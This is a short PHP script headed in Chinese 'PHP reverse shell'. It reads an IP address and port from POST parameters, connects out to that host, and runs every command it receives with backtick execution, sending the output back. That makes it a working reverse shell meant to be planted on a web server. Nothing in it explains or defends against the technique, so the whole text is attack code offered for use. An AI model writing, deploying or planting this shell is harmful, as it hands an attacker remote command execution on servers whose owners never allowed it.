PHP反弹shell

<?php 
set_time_limit(0); 
$ip=$_POST['ip'];
$port=$_POST['port'];
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){echo "error";}
else{
    fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
    while(!feof($fp)){
    fputs($fp,"shell:");
    $shell=fgets($fp);
    $message=`$shell`;
    fputs($fp,$message);
    }
fclose($fp);
}
?>